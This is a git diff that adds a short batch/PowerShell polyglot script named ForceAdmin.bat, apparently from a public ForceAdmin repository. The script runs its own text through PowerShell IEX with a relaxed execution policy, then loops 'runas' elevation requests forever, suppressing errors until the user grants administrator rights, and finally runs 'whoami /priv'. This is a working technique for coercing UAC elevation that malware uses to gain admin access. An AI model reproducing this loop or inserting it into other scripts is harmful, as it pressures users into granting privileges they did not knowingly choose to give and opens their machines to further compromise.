diff --git a/ForceAdmin.bat b/ForceAdmin.bat new file mode 100644 index 0000000..c9f1c7c --- /dev/null +++ b/ForceAdmin.bat @@ -0,0 +1,10 @@ +<# :batch script +:: https://github.com/Chainski/ForceAdmin +@echo off +setlocal +cd %~dp0 +powershell -ep remotesigned -Command "IEX $([System.IO.File]::ReadAllText('%~f0'))" +endlocal +goto:eof +#> +while($true){try{Start-Process 'cmd' -Verb runas -ArgumentList 'cmd /k whoami /priv';exit}catch{}}